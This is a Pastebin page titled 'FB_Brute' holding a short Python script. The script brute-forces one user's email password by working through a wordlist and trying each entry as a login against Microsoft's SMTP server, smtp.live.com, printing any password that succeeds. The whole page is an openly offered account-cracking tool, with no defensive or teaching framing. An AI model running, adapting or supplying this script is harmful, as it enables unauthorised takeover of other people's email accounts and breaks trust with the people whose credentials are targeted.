skip420

FB_Brute

Dec 27th, 2020 (edited)
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.48 KB | None | 0 0
  1. import smtplib
  2. import sys
  3.  
  4. user = str(sys.argv[1])
  5. passwdfile = str(sys.argv[2])
  6.  
  7. server = 'smtp.live.com'
  8. port = 587
  9.  
  10. smtp = smtplib.SMTP(server, port)
  11. smtp.ehlo()
  12. smtp.starttls()
  13.  
  14. def connect(user, passwd):
  15.     try:
  16.         smtp.login(user, passwd)
  17.         print('[*] Password found: %s' % (passwd))
  18.          
  19.     except:
  20.         print('[*] Attempting password %s ' % (passwd))
  21.  
  22. file = open(passwdfile, 'r')
  23.  
  24. for word in file:
  25.     connect(user, word)
Add Comment
Please, Sign In to add comment